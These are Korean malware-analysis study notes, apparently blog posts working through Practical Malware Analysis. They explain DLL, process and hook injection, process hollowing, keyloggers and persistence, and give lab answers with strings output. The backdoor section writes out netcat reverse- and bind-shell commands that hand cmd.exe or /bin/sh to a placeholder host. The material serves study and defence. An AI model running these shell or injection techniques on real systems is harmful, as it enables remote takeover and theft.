1. 동적 분석을 이용해 악성코드가 무엇을 생성하는지 알아보자

이상한 temp 파일들을 생성한다.


2. xor 탐색 등 정적 분석 기법을 사용해 잠재적인 인코딩을 찾아보자. 무엇을 발견했는가?


3. 질문 1의 답을 바탕으로 어떤 임포트 함수가 인코딩 함수를 발견하는 데 좋은 힌트를 제공하는가?

BitBlt

FlushFileBuffers


4. 디스어셈블리에서 인코딩 함수는 어디에 있는가?


5. 인코딩 함수에서 인코딩된 컨텐츠의 근원을 추적해보자. 컨텐츠는 무엇인가?


6. 인코딩에 사용된 알고리즘을 찾을 수 있는가? 그렇지 못하다면 컨테츠를 어떻게 디코딩 할 수 있는가?


7. 지시문을 사용해 인코딩된 파일중 하나의 원본 소스를 복구할 수 있는가?


000000007030   000000407030      0   temp%08x

000000006724   000000406724      0   BitBlt
00000000662C   00000040662C      0   WriteFile
000000006638   000000406638      0   CreateFileA
Address        Function   Instruction              
-------        --------   -----------                  
.text:004012D6 sub_40128D xor     eax, [ebp+var_10]
.text:0040171F            xor     eax, [esi+edx*4] 
.text:0040176F sub_401739 xor     edx, [ecx]       
.text:0040177A sub_401739 xor     edx, ecx         
.text:00401785 sub_401739 xor     edx, ecx         
.text:00401795 sub_401739 xor     eax, [edx+8]     
.text:004017A1 sub_401739 xor     eax, edx         
.text:004017AC sub_401739 xor     eax, edx         
.text:004017BD sub_401739 xor     ecx, [eax+10h]   
.text:004017C9 sub_401739 xor     ecx, eax         
.text:004017D4 sub_401739 xor     ecx, eax         
.text:004017E5 sub_401739 xor     edx, [ecx+18h]   
.text:004017F1 sub_401739 xor     edx, ecx         
.text:004017FC sub_401739 xor     edx, ecx         
.text:0040311A            xor     dh, [eax]        
.text:0040311E            xor     [eax], dh        



Lab13-3

1. 정적분석을 통해 습득한 정보와 strings 결과를 비교하라 비교를 바탕으로 어떤 요소가 인코딩 됐는가?


2. 문자열 xor 탐색을 이용한 정적 분석을 통해 잠재적인 인코딩을 찾아보자 어떤 유형의 인코딩이 발견되는가?


3. FindCrypt2,KANAL,IDA 엔트로피 플로그인 같은 정적 도구를 사용해 다른 인코딩 메커니즘을 파악하자. 발견된 내용을 XOR 탐색과 어떻게 비교하는가?


4. 이 악성코드에 사용된 두 가지 인코딩 기법은 무엇인가?


5. 각 인코딩 기법에서 키는 무엇인가?


6. 암호화 알고리즘에 대해 키는 충분한가? 다른 어떤 것이 알려져야 하는가?


7. 이 악성코드는 무엇을 하는가?


8. 동적 분석 동안 생성된 컨텐츠의 일부를 복호화 하기 위해 코드를 작성하라. 이 컨텐츠는 무엇인가?

'Reversing > Theory' 카테고리의 다른 글

Anti disassembly  (0) 2015.09.01
DLL Injection  (0) 2015.08.29
위장 악성코드 실행  (1) 2015.08.24
Malware Behavior ( 악성코드의 행위 특성 )  (0) 2015.08.20
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17

Launchers


실행기(Loader라고도 알려짐)는 현재의 실행이나 추후의 은밀한 실행을 위해 자신이나 다른 악성코드를 설정하는 악성코드의 유형을 말한다. 실행기의 목적은 악의적인 행위를 사용자에게 들키지 않게 설정하는 것이다. 실행기는 종종 로딩할 악성코드를 포함하며 일반적인 예가 Resource Section에 EXE나 DLL을 포함하는 경우가 있다.

위의 그림에서 보는 것과 같이 실행 파일의 부분에 MZ로 시작하는 DOS Header를 확인할 수가 있다. 프로그램은 이와 같이 리소스 섹션에 악성코드를 자주 저장하며, 실행될 때 리소스 섹션에서 내장된 실행파일이나 DLL을 추출해 실행한다.

리소스 처리 API로는 FindResource, LoadReasource, SizeofResource 가 존재한다. 이러한 실행기(launcher)는 관리자 권한으로 실행되거나 관리자 권한을 획득하기 위하여 권한 상승을 해야 한다.



Process Injection


가장 대중적인 위장 실행 기법은 프로세스 인젝션으로 이름과 같이 코드를 실행중인 프로세스에 인젝션하고, 그 프로세스가 자동으로 악의적인 코드를 실행하는 것이다. 멀웨어 코더들은 코드의 악의적인 행위를 숨기기 위해 프로세스 인젝션을 사용하며, 가끔은 호스트 기반 방화벽과 프로세스에 특화딘 보안 메커니즘을 우회하고자 할 때 사용한다.

특정 Windows API 호출들이 프로세스 인젝션에 일반적으로 사용되며 그 예로 VirtualAllocEX는 원격 프로세스의 메모리에 공간을 할당하기 위하여 사용되며, WriteProcessMemory는 할당된 공간에 데이터를 쓸 때 사용된다.


DLL Injection

DLL 인젝션은 원격의 프로세스가 악의적인 DLL을 로딩하게 하는 프로세스 인젝션의 한 형태이다. LoadLibrary를 호출하는 원격 프로세스에 코드를 삽입해 해당 프로세스의 컨텍스트에 DLL을 강제적으로 로드하게 한다. 감염된 프로세스가 악의적인 DLL을 로드하면 운영체제는 자동으로 그 DLL의 DllMain() 함수를 호출하게 된다. 주로 악의적인 DLL은 DllMain() 외에 다른 내용은 없는 경우가 많으며 이렇게 인젝션된 코드들은 실행한 프로세스가 소유한 시스템의 권한과 동일한 권한을 가진다.

아래에서 보는 것과 같이 오른쪽에는 원래의 프로세스를 보여준다. 하지만 myhack.dll을 Injection을 통하여 프로세스 내부에 넣을 수가 있다. 이렇게 로드된 myhack.dll의 DllMain() 함수는 실행이 될 것이며 권한 또한 기존의 프로세스와 같은 권한을 갖는다. 

호스트 프로그램 내부에 악의적인 DLL을 인젝션하기 위해 실행기 악성코드는 목표 프로세스의 핸들을 우선 확복해야 한다. 이 방법으로는 윈도우 API 호출인 CreateToolhelp32Snapshot, Process32First, Process32Next를 인젝션 목표에 대한 프로세스 목록을 찾기 위해 사용한다. 목표를 발견하면 실행기는 PID를 확보한 후 OpenProcess() 호출을 통해 핸들을 획득한다. DLL 인젝션의 순서는 다음과 같다.

1. 대상 프로세스 핸들 구하기

OpenProcess() API를 이용해서 대상 프로세스의 핸들을 구하는데 이 때 주로 PID를 이용한다. 



2. 대상 프로세스 메모리에 인젝션 시킬 DLL 경로 써주기

대상 프로세스에게 로딩할 DLL 파일의 경로를 알려줘야 한다. 아무 메모리 공간에 쓸 수 없으므로 VirtualAllocEx() API를 이용하여 대상 프로세스 메모리 공간에 버퍼를 할당한다. 그리고 WriteProcessMemory()를 통하여 할당된 버퍼 주소에 dll 경로 문자열을 써준다.




3. LoadLibraryA() API 주소 구하기

LoadLibrary()를 통하여 우리는 새로운 DLL을 프로세스에 로딩시킬수가 있다. 그러기위해서는 LoadLibrary() API의 주소가 필요하다. 여기서 우리는 인젝션 시킬 프로세스의 함수 주소를 구하는 것이 아니라 인젝터의 LoadLibrary()의 주소를 구할 것이다. 실제 windows 운영체제에서 kernel32.dll은 프로세스마다 같은 주소에 로딩되기에 이를 이용한 것이다.

* Microsoft 에서는 OS 핵심 DLL 파일들의 ImageBase를 정리해 놓았는데 이는 절대 겹치지 않도록하므로 DLL Relocation이 발생하지 않는다. 이러한 특성을 이용한 것이라 할 수 있다.


4. 대상 프로세스에 스레드를 실행시킴

이제 LoadLibrary()의 주소도 알았으므로 우리는 이를 호출하면 된다. 호출하는 방법으로는 CreateRemoteThread()를 사용하는데 이는 다른 프로세스에게 스레드를 실행시켜주는 함수이다. 

멀웨어를 분석함에 있어서 이러한 징후를 발견한다면 악의적인 DLL과 대상프로세스의 이름을 포함한 문자열을 찾아야 한다. 이 문자열들은 바로 볼 수가 없기에 실행하다보면 대상 프로세스의 이름은 대상 프로세스의 PID를 판별할 때 strcmp 함수와 같은 함수에서 발견할 수가 있다. 또한 인젝션 되는 악의적인 DLL의 이름을 알아내기 위해서는 WriteProcessMemory에 전달되는 Buffer의 값을 보면 된다.


아래는 실제로 직접 해본 것으로 악의적인 dll이 아니라 메세지 박스를 출력하는 dll이다. 이를 인젝션하면 아래와 같이 카카오톡의 창에 메세지박스가 같이 존재하는 것을 확인할 수가 있다. 이는 카카오톡이라는 프로세스와 동일한 위치에 있다는 것을 알 수가 있다.


Code Injection

DLL 인젝션과 동일하게 원격 프로세스의 메모리에 공간을 할당하여 삽입을 한다. 하지만 여기선 원격 프로세스가 개별 DLL을 로드하게 하는 대신에 악의적인 코드를 직접적으로 원격 프로세스에 인젝션 한다는 점이다. 이는 DLL 인젝션보다 유연하지만 호스트 프로세스에 부정적인 영향을 주지 않고 성공적으로 실행되게 하기 위해서는 많은 최적화 코드가 필요하다.

여기선 DLL을 로딩시킬 필요가 없으므로 GetProcAddress()가 사용되지 않으며 이외의 사용 API들은 유사하다. 



Process replacement


호스트 프로그램에 코드를 인젝션하지 않고, 일부 악성코드는 실행 중인 프로세스의 메모리 공간을 악의적인 실행 파일로 쓰기 위해 프로세스 교체라고 알려진 방법을 사용한다. 프로세스 교체는 악성코드 제작자가 프로세스 인젝션 중 발생할 수 있는 프로세스 비정상 종료의 위험 부담 없이 악성코드를 정상적인 프로세스로 위장하고자 할 때 사용한다.

이 기법은 교체되는 프로세스와 동일한 권한을 악성코드에 부여한다. 예를 들어 악성코드가 svchost,exe에 대해 프로세스 교체 공격을 수행했다면 사용자는 C:\Windows\System32 에서 실행 중인 svchost.exe를 본 후 악성코드가 아니라고 생각하게 된다.

프로세스 교체의 핵심은 대기 상태(Suspended State)의 프로세스를 생성하는 것이다. 다시 말해 프로세스를 메모리에 로드했지만, 프로세스의 메인 스레디는 대기함을 의미한다. 해당 프로그램은 외부프로그램이 메인 스레드를 재개하기 전까지는 아무것도 하지 않는다.

CreateProcess()를 통하여 프로세스가 생성되면 다음 단계로 대상 프로세스의 메모리를 악의적인 실행 파일로 교체한다. 일반적으로 파라미터로 전다로딘 섹션에서 지정하고 있는 모든 메로리를 해제하기 위해 ZwUnmapViewOfSection()을 사용한다. 메모리를 언매핑한 후 로더는 VirutalAllocEx()를 실행하여 악성코드를 위한 새로운 메모리를 할당하고 WriteProcessMemory()를 사용해 악성코드의 각 섹션을 대상 프로세스의 공간에 작성한다. 마지막 단계로 진입점이 악의적인 코드를 가리키게 SetThreadContext를 호출해 악의적인 코드가 실행되게 대상 프로세스의 환경을 복원한다. 최종적으로 악성코드가 실행되게 ResumeThread를 호출해 대상 프로세스를 교체한다.

프로세스 교체는 악성코드의 은닉에 효과적인 방법이다. 대상 프로세스로 가장함으로써 악성코드는 방화벽이나 침입 방지 시스템(IPS)를 우회하고 일반 윈도우 프로세스로 보이게 함으로써 탐지를 피할 수 있다. 

여기서 우리는 ProcessExplorer의 String탭을 통하여 이를 탐지하는데 도움이 될 것이다.




Hook Injection


후크 인젝션은 윈도우 후크의 이점을 이용해 악성코드를 로딩하는 방법이다. 윈도우 후크는 애플리케이션으로 전달되는 메세지를 가로 챌 때 사용하는데 악성코드 제작자는 다음 2가지를 이루기 위해 후크 인젝션을 사용한다.

1. 특정 메세지가 인터셉터될 때마다 악의적인 코드가 실행되는 것을 보장하기 위해서

2. 대상 프로세스의 메모리 공간에 특정 DLL 로드를 보장하기 위해서


아래 글미과 같이 사용자는 운영체제로 전달되는 이벤트를 생성한다. 그 후에 이벤트에서 생성한 메세지를 등록된 스레드로 전달한다. 오른쪽 그림은 공격자가 메세지를 가로채는 악의적인 DLL을 삽입하는 한 가지 방법을 보여준다.


로컬과 원격 후크

윈도우 후크에는 다음과 같은 두가지 유형이 있다.

- 로컬 후크는 내부 프로세스로 전달되는 메세지를 관찰하거나 조작하기 위해 사용된다.

- 원격 후크는 원격 프로세스에 전달되는 메세지를 관찰하거나 조작하기 위해 사용된다.

원격 후크는 두 가지 형태가 있다. 상위 레벨 원격 후크는 후크 프로시저가 DLL에 포함돼 있는 익스포트 함수로 존재해야한다. 익스포트 함수는 운영체제에서 후킹된 스레드나 전체 스레드의 프로세스 스페이스로 매핑하낟. 하위 레벨 원격 후크는 후크가 설치된 프로세스의 후크 프로시저를 필요로 한다. 이 프로시저는 운영체제가 프로세스 이벤트를 받기 전에 통보된다.


Keyloggers Using Hooks

후크 인젝션은 키 스트로크를 기록하는 키로거로 알려진 악의적인 애플리케이션에서 자주 사용한다. 키 스트로크는 WH_KEYBOARD나 WH_KEYBOARD_LL 후크 프로시저 유형을 각각 사용해 상위 레벨이나 하위 레벨 후크를 등록해 캡처할 수 있다.


SetWindowsHookEx 사용

원격 윈도우 후킹에 사용하는 주요 함수 호출은 SetWindowsHookEx이며, 다음과 같은 파라미터를 가진다.

- idHook : 설치할 후크 프로시저의 유형을 정의

- lpfn : 후크 프로시저에 대한 포인터

- hMod : 상위 레벨의 경우 lpfn에 정의된 후크 프로시저를 포함하는 DLL에 대한 핸들을 식별, 하위 레벨의 경우 lpfn 프로시저에 정의된 로컬 모듈을 식별

- dwThreadId : 후크 프로시저와 연관된 스레드의 식별자를 저으이. 파라미터가 0이라면 후크 프로시저는 호출한 스레드와 동일한 데스크톱에 실행 중인 모든 스레드로 정의 된다. 하위 레벨 후크에 대해서는 0으로 설정 돼야 한다.


스레드 지정

악성코드는 키로거나 동급의 목적을 가진 경우에만 모든 스레드에 로딩 된다. 모든 스레드에 로드하는 것은 실행 시스템의 성능을 저하시키고 IPS에 탐지될 수 있다. 그러므로 목적이 단순히 원격 프로세스에 DLL을 로딩하는 것이라면 탐지 되지 않게 하기 위해 싱글 스레드에만 인젝션해야한다.

싱글 스레드 지정을 위해서는 대상 프로세스를 찾기 위해 프로세스 목록을 검색해야하며, 대상 프로세스가 실행돼 있지 않다면 악성코드가 프로그램을 실행해야 한다. 악의적인 애플리케이션이 자주 사용되는 윈도우 메세지를 후킹한다면 IPS에 탐지될 확률이 높아진다. 아래의 그림은 다른 프로세스의 메모리 공간에 DLL을 로딩하기 위해 후크인젝션 하는 어셈코드다.


Detours

기존 운영체제와 애플리케이션을 쉽게 장착하고 확장할 수 있는 방법으로 제시된 라이브러리이다. 이를 통하여 IAT를 수정하거나 기존 프로그램 파일에 DLL을 덧붙이거나 실행 중인 프로세스에 함수 후킹을 한다. 멀웨어 코더는 일반적으로 Detours를 이용해 가장 일반적으로 디스크에 존재하는 바이너리에 새로운 DLL을 추가한다. 


APC 인젝션

CreateRemoteThread를 이용해 스레드를 생성한 후 원격 프로세스에서 함수를 실행하는 것을 위에서 보았다. 하지만 스레드 생성은 쉽지 않으므로 기존 스레드에 함수를 실행하는 것이 더 효과 적이다. 이런 기능이 윈도우 비동기 프로시저 호출로 존재한다.

APC는 APC의 정규 실행 경로를 실행하기 전에 스레드가 다른 코드를 실행하게 지시할 수 있다. 모든 스레드는 스레드에 첨부된 APC 큐를 갖고 있으며 WaitForSingleObjectEx, WaitForMultipleObjectEx, SleepEx 같은 함수를 호출했을 때와 같이 스레드가 대체 가능한 상태에 있을 때 처리된다. APC 는 다음과 같은 두 가지 형태가 있다.

- 시스템이나 드라이버를 위해 생성된 APC는 커널 모드 APC라고 한다.

- 애플리케이션을 위해 생성된 APC는 사용자 모드 APC 라고한다.

사용자 공간에서는 QueueUserAPC를 사용해 사용자 공간에서 다른 스레드가 원격 스레드에서 실행될 함수를 큐에 넣을 수가 있으며 커널 공간에서는 MeI itializeApc와 KeInsertQueueApc와 같은 두 개의 주요 함수를 사용한다.





참고

http://www.reversecore.com/38    ; Dll 인젝션

https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/   ; 프로세스 교체



문제 풀이


Lab12-01

파일 Lab12-01.exe와 Lab12-01dll 에서 발견되는 악성코드를 분석하자. 분석을 할 때 이 파일들은 동일한 디렉터리에 존재해야함을 주의하자

1. 악성코드가 실행 됐을 때 어떤 일이 일어나는가?

어떠한 프로세스에 12-01.dll을 인젝션 시킨다.


2. 어떤 프로세스가 인젝션 됐는가?

explorer.exe에 12-01.dll 인젝션 시키는것


3. 악성코드의 팝업을 어떻게 멈출 수 있는가?

explorer.exe를 강제로 종료시킨뒤 task 매니저에서 다시 explorer를 실행하면 더 이상 작동하지않는다. 또는 재부팅을 하여도 인젝션이 해제가 되어있을 것이다.


4. 이 악성코드는 어떻게 작동하는가?

dll injection을 진행한 뒤 그 dll에는 메세지박스를 60초마다 출력하도록 한다.


EXE

000000006030   000000406030      0   explorer.exe

000000006040   000000406040      0   <unknown>

00000000604C   00000040604C      0   LoadLibraryA

00000000605C   00000040605C      0   kernel32.dll

00000000606C   00000040606C      0   Lab12-01.dll

000000006080   000000406080      0   EnumProcesses

000000006090   000000406090      0   GetModuleBaseNameA

0000000060A4   0000004060A4      0   psapi.dll

0000000060B0   0000004060B0      0   EnumProcessModules

00000000554A   00000040554A      0   CreateRemoteThread

DLL

export가 존재하지 않으므로 DllMaiin()을 통한 악의적 행위, DLL 인젝션의 확률이 높음


Lab12-02

1. 이 프로그램의 목적은 무엇인가?

svchost.exe에 프로세스 교체 기법을 사용하여 리소스 섹션에 있는 내용을 실행하도록 한다. 실행되면 해당 dll이 가진 명령어들을 수행하는데 서비스에 등록을 하며 RPC 서버와의 어떤 작업도 진행한다. 키로깅


2. 실헹기 프로그램은 어떻게 실행을 숨기는가?

리소스 섹션에 숨겼으며 XOR 41을 하므로 알아차리기가 어렵다.


3. 악의적인 페이로드는 어디에 조정돼 있는가?

리소스 섹션

4. 악의적인 페이로드는 어떻게 보호되는가?

XOR 41


리소스섹션에 파일이 있는데 XOR 41로 숨겨져있다. 000000005030   000000405030      0   \svchost.exe

000000005058   000000405058      0   ntdll.dll
000000005040   000000405040      0   NtUnmapViewOfSection   >> 프로세스 교체긱법?
000000004842   000000404842      0   WriteFile
00000000464A   00000040464A      0   FreeResource
00000000465A   00000040465A      0   SizeofResource
00000000466C   00000040466C      0   LockResource
00000000467C   00000040467C      0   LoadResource
00000000468C   00000040468C      0   FindResourceA
0000000045D8   0000004045D8      0   VirtualAllocEx


Create_Suspend
ResumeThread 등등 프로세스 교체 기법을 사용 svchost.exe를


Lab12-03

1. 이 악의적인 페이로드의 목적은 무엇인가?

SetWindowsHookExA

키로킹


2. 악의적인 페이로드는 어떻게 자신을 인젝션하는가?

후킹 인젝션


3. 이 프로그램은 어떤 파일 시스템 잔여물을 만드는가?

practicalmalwareanalysis.log


Lab12-04

1. 0x401000에서 악성코드는 무엇을 하는가?

해당 프로세스가 오픈되어 있는지를 확한다.


2. 악성코드는 어떤 프로세스에 인젝션되는가?



3. LoadLibrary를 이용해 로드하는 DLL은 무엇인가?

sfc_os.dll

4. CreateRemoteThread 호출에 전달되는 네번쨰 인자는 무엇인가?

sfc_os.dll 의 스타트 어드레스


5. 메인 실행 파일에서 어떤 악성코드를 드롭했는가?

URL 로부터 파일을 다운로드


6. 이 파일과 드롭된 악성코드의 목적은 무엇인가?

psapi.dll이 나옴


리소스 섹션에 EXE가 포함됨, SeDebugPrivilege가 사용되므로 권한 상승이 이루어짐

movfile \Temp\winup.exe >>> C:\Windows\System32\wupmdmgr.exe


000000007070   000000407070      0   \winup.exe

000000007084   000000407084      0   \system32\wupdmgrd.exe

0000000070A4   0000004070A4      0   http://www.practicalmalwareanalysis.com/updater.exe

0000000061AA   0000004061AA      0   URLDownloadToFileA
0000000061BE   0000004061BE      0   urlmon.dll
000000006182   000000406182      0   WinExec
000000003010   000000403010      0   winlogon.exe
0000000022B6   0000004022B6      0   LookupPrivilegeValueA
00000000229E   00000040229E      0   AdjustTokenPrivileges
000000002216   000000402216      0   SizeofResource
000000002228   000000402228      0   LoadResource
000000002238   000000402238      0   FindResourceA
0000000021FC   0000004021FC      0   WriteFile
000000002208   000000402208      0   CreateFileA
0000000021BA   0000004021BA      0   CreateRemoteThread


'Reversing > Theory' 카테고리의 다른 글

DLL Injection  (0) 2015.08.29
데이터 인코딩  (0) 2015.08.26
Malware Behavior ( 악성코드의 행위 특성 )  (0) 2015.08.20
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31

Downloaders and Launchers


흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.

실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다.


Backdoor


백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또는 코드를 다운로드할 필요가 없는 경우도 있다. 가장 일반적으론는 HTTP 프로토콜을 이용해 80번 포트로 통신을 하며 이는 가장 일반적인 네트워크 트래픽으로 악성코드는 자신의 트래픽을 정상적인 트래픽에 숨길 수 있다는 이점을 얻는다.

Windows Reverse Shell

공격자는 cmd.exe를 이용해 윈도우에서 두 가지 간단한 악성코드 코딩방법을 사용한다. 기본적인 방법은 제작하기가 쉽고 멀티스레드 기법만큼 잘 작동 때문에 악성코드 제작자 사이에 인기가 있다. CreateProcess에 대한 호출과 CreateProcess로 전달되는 STARTUPINFO 구조체의 조작이 사용된다. 우선 소켓을 생성한 후 원격 서버에 대한 연결을 수행하며, 해당 소켓은 cmd.exe의 표준 스트림으로 연결된다. CreateProcess는 희생자에게 들키지 않게 윈도우를 숨긴채 cmd.exe를 실행한다.

멀티스레드 버전의 윈도우 리버스 셸은 소켓, 파이프 2개, 스레드 2개를 생성한다. 악성코드 제작자는 종종 이 방법을 이용해 소켓을 통해 주고받는 데이터를 조작하거나 인코딩한다. CreatePipe는 stdin과 stdout 같은 파이프의 끝을 함께 읽고 쓸 수 있게 연결하는데 사용하며 CreateProcess 메소드는 표준 스트림을 직접 소켓에 연결하기보다는 파이프에 연결할 때 사용한다. CreateProcess가 호출된 후 악성코드는 스레드 2개를 생성한다. 일반적으로 이들 스레드는 데이터 인코딩을 통해 데이터를 조작한다.

Netcat Reverse Shell

공격자는 넷캑이나 또는 다른 악성코드에 포함돼 있는 넷켓 패키지를 사용하는 것으로 알려져 있다. 넷캣을 리버스 쉘로 사용할 때는 다음과 같이 원격 머신은 들어오는 접속을 대기해야 한다.     nc -l -p 80   -l 옵션은 넷캣을 리스닝 모드로 설정하고, -p는 리스닝할 포트를 설정할 때 사용한다. 

다음 명령을 이용해 희생자의 머신에서 외부로 접속해 쉘을 전달한다.nc ip 80 -e cmd.exe

Backdoor Shell

<Server> nc -e /bin/sh(or cmd.exe) -l -p 1234         <Client>  telnet IP_Address 1234

이 경우 Client의 입장에서 Server측의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Server와 같이 설정하여 실행하면 Target PC를 컨트롤 할 수 있다. 또한 한가지 더 생각하면 서버측에서는 IP에 대한 입력이 필요가 없으므로 서버측의 IP만 알면 어느 PC에서든지 이에 접속할 수가 있다. 이

Reverse Shell

<Server> nc -l -p 1234   or nc -n -v -l -p 1234        <Client>  nc -e /bin/sh(or cmd.exe) IP_Address 1234

이 경우 Server의 입장에서 Client의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Client와 같이 설정하여 실행한다. 공격자가 서버의 입장이므로 타겟 PC는 따로 어떠한 설정 없이 연결이 된다.

*위의 두 상황 모두 명령어 실행이 안될 경우 뒤에 ' ; ' 세미콜론을 붙여야 실행되는 경우도 있다. 그러므로 일반적인 명령어를 실행해보고 작동하지 않는다면 세미콜론을 붙여보자.

RAT

Remote Administration Tool(원격 관리도구)는 원격에 있는 컴퓨터들을 관리할 때 사용한다. RAT는 정보를 훔치거나 정보를 다른 네트워크로 이동시크는 것과 같은 특정 목적을 가진 표적 공격에 사용한다. 

아래의 그림은 RAT의 네트워크 구조에 대하여 설명된 것이다. 서버는 악성코드에 감염된 피해 호스트에서 실행된다. 클라이언트는 공격자가 조종하는 명령 및 통제 유닛으로, 원격에서 실행된다. 서버는 연결을 위해 클라이언트에 신호를 전달하면 클라이언트가 서버를 통제한다. RAT 통신은 일반적으로 80, 443 같은 일반 포트를 통해 이루어진다.

Botnets

봇넷은 좀비로 알려진 침해 호스트의 집합으로, 일반적으로 봇넷 컨트롤러로 알려진 서버를 통해 단일 엔티티에 의해 통제된다. 봇넷의 목표는 추가 악성코드, 스팸을 전파하거나 DDoS 공격을 수행할 수 있는 큰 좀비 네트워크를 구성하기 위해 최대한 많은 호스트를 침해하는 것이다. 봇넷은 동시에 다수의 좀비 호스트가 웹사이트를 요청하게 함으로써 웹사이트를 다운시킬 수 있다.

RAT와 Botnet 비교 

· 봇넷은 다수의 호스트를 감염시키고 통제하는 것으로 알려졌으며, RAT는 일반적으로 더 작은 규모의 호스트를 통제한다.

· 모든 봇넷은 한번에 통제되는데 반해 RAT는 피해 호스트별로 통제된다. 이는 RAT의 경우 공격자가 개별 호스트에 대해 좀 더 많은 관심을 갖고 있기 때문이다.

· RAT는 표적 공격에 사용되는데 반해 봇넷은 대량 공격에 사용된다.


Credential Stealers


공격자는 인증정보를 훔치기 위해 노력을 아끼지 않으며, 이런 종류의 악성코드는 크게 3가지 유형이 있다.
GINA Interception
MS의 GINA( Graphical Identification and Authentication ) Interception은 윈도우 XP에서 악성코드가 사용자 인증정보를 훔치기 위해 사용하는 기법이다. GINA 시스템은 하드웨어 RFID나 스마트카드 같은 인증을 지원함으로써 인증된 서드파티가 로그온 프로세스를 최적화할 수 있게 한다. 멀웨어 코더는 자신들의 인증정보를 탈취기의 로딩을 위해 이 서드파티 지원을 악용한다. 
GINA는 DLL(msgina.dll)로 구현돼 있으며, 로그인 과정에서 Winlogon 실행파일이 GINA를 로딩한다. Winlogon은 Winlogon과 GINA DLL 사이의 서드파티 DLL을 로딩해 DLL에 포함된 서드파티 최적화를 수행한다. 윈도우는 Winlogon에서 로드할 서드파티 DLL을 찾을 수 이게 다음 레지스트리 위치를 편리하게 제공한다.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL"

Hash Dumping

윈도우 해시 덤프는 악성코드가 시스템 인증정보에 접근하기 위해 사용하는 대중적인 방법이다. 해시전달 공격( Pass the hash attack )은 로그인에 필요한 평문 패스워드를 획득하기 위해 해시를 해독하거나 크랙할 필요 없이 LM과 NTLM 해시를 사용해 NTLM 인증을 사용하는 원격 호스트를 인증한다.

pwdump와 Pass-the_Hash(PSH) 툴킷은 해시 덤프를 전송하는데 자유롭게 사용할 수 있는 패키지이다. pwdump는 보안계정관리자(SAM)에서 로컬 사용자 계정의 LM과 NTLM 패스워드 해시를 출력하는 프로그램이다. 표준 pwdump는 lsaext.dll을 사용하며 lsass.exe 내부에서 실행되면 pwdump는 해시추출을 수행하기 위해 lsaext.dll에서 Export된 GetHash를 호출한다. 시스템의 사용자를 열거하고, 각 사용자의 암호화되지 않은 형태의 패스워드 해시를 얻기 위해 비공식적인 윈도우 함수를 사용한다.

여기서 멀웨어 코더들은 이를 변형시켜 GetHash와 같은 Export 이름을 변경할 수가 있다. 그렇기에 Export에서 사용하는 API 함수를 살펴봐야한다. 이 함수 대부분은 동적으로 해석되기 때문에 해시 덤프 익스포트는 빈번하게 GetProcAddress를 호출한다.


Keystroke Logging

키로깅은 인증정보 탈취의 전형적인 유형중 하나이다. 키로깅을하면 공격자가 계정명과 패스워드 같은 타이핑된 데이터를 관찰할 수 있게 악성코드는 키 스트로크를 기록한다.

커널 기반 키로거

커널 기반 키로거는 사용자 모드 애플리케이션을 이용해 탐지하기가 어렵다. 루트킷의 일부로 자주 사용되며, 키 스트로크를 캡처하기 위해 키보드 드라이버처럼 가장하거나 사용자 공간 프로그램과 보호장치를 우회한다.

사용자 공간 키로거

일반적으로 윈도우 API를 이용하며, 대부분 후킹이나 폴링을 이용해 구현한다. 후킹 방식은 입력될 때마다 악성코드에 알리기 위해 윈도우 API(SetWindowsHookEx 함수)를 사용한다. 폴링 방식은 계속적인 키 상태 기록을 위해 윈도우 API( GetAsyncKeyState와 GetForegroundWindows 함수)를 사용한다

후킹 키로거는 후킹 기능을 실행하는 실행 파일로 패키징될 수 있으며, 시스템에서 다수의 프로세스에 매핑해 자동으로 로깅할 수 있는 DLL 파일을 포함할 수도 있다.

폴링 방식의 키로거는 GetAsyncKeyState 함수가 키가 눌려졌는지 여부를 인식한 후 가장 최근의 GetAsyncKeyState 호출 이후 해당 키가 눌렸는지를 인식한다. 그 외에 주로 사용되는 함수인 GetForegroundWindows 함수는 어떤 어플리케이션이 키보드 엔트리를 위해 사용되는지를 키로거에게 알려주기 위해 현재 사용중인 윈도우를 파악한다.


Persistence Mechanisms


악성코드가 한 번 시스템의 권한을 획득하면 악성코드는 해당 시스템에 오랜 기간 상주하길 원한다. 이런 행위를 지속이라고 부른다. 그리고 이러한 지속 메커니즘의 방법으로 시스템의 레지스트리 조작과 바이너리를 트로이목마화 시키는 방법, 마지막으로는 레지스트리나 파일의 조작없이 지속을 유지하는 방법으로 DLL 로더 하이재킹이 있다.

The Windows Registry

악성코드가 설정 정보를 저장하고 시스템의 정보를 수집하고 지속적으로 자신을 설치하기 위해 레지스트리에 접근하는 것이 일반적이다. 이에 자주 사용되는 레지스트리 키가 있는데 다음과 같다.

AutoRun

" HKEY_LOCAL_MACHINE\SOFTWARE\Miicrosoft\Windows\CurrentVersion\Run "

이를 확인하는 방법으로 직접 regedit를 통해 찾거나 cmd를 통하여  cmd> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s 와 같이 입력을 하여 확인할 수가 있다.

Applnit_DLLs

악성코드 제작자는 AppInit_DLLs라고 불리는 특별 레지스트리 경로를 통해 자신들의 DLL이 지속적으로 유지되게 할 수 있다. 이 레지스트리는 User32.dll을 로드하는 모든 프로세스에서 로딩하며, 레지스트리에 단순히 추가함으로써 AppInit_Dlls 지속이 가능하게 할 수 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"

